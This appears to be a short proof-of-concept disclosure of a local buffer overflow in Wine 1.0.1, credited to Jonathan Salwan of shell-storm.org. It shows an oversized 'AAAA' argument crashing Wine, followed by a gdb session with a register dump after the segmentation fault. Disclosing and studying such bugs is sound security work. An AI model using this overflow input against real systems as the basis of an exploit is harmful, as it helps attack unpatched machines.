Linux Wine v1.0.1 Local Buffer Overflow (PoC) 

Author : Jonathan Salwan
Mail   : submit [AT] shell-storm.org
Web    : http://www.shell-storm.org


Wine installed/tested with : 	-ubuntu 8.10 (kernel  2.6.27) 
				-gcc version 4.3.2 (Ubuntu 4.3.2-1ubuntu12)


Proof of Concept:
--------------------------------------------------------------------------------------

submit@submit-laptop:~$ wine --version
wine-1.0.1
submit@submit-laptop:~$ wine `perl -e "print('AAAA'x10000)"`
Erreur de segmentation
submit@submit-laptop:~$

--------------------------------------------------------------------------------------

submit@submit-laptop:~$ gdb /usr/bin/wine
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(no debugging symbols found)
(gdb) run `perl -e "print('AAAA'x10000)"`
Starting program: /usr/bin/wine `perl -e "print('AAAA'x10000)"`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
(no debugging symbols found)
(no debugging symbols found)
[New Thread 0xb7c346b0 (LWP 11082)]
[New Thread 0xb7c33b90 (LWP 11087)]
[Thread 0xb7c33b90 (LWP 11087) exited]
[New process 11082]
Executing new program: /usr/bin/wine-preloader
(no debugging symbols found)
warning: Cannot initialize thread debugging library: generic error
warning: Cannot initialize thread debugging library: generic error
[New process 11082]

Program received signal SIGSEGV, Segmentation fault.
0x7bc42e9e in ?? ()
(gdb) i r
eax            0x110108	1114376
ecx            0x17170	94576
edx            0x410041	4259905
ebx            0x7bc8aff4	2076749812
esp            0xbfded9c0	0xbfded9c0
ebp            0xbfded9e8	0xbfded9e8
esi            0x1411d0	1315280
edi            0x158340	1409856
eip            0x7bc42e9e	0x7bc42e9e
eflags         0x10202	[ IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x33	51
gs             0x3b	59
(gdb)
--------------------------------------------------------------------------------------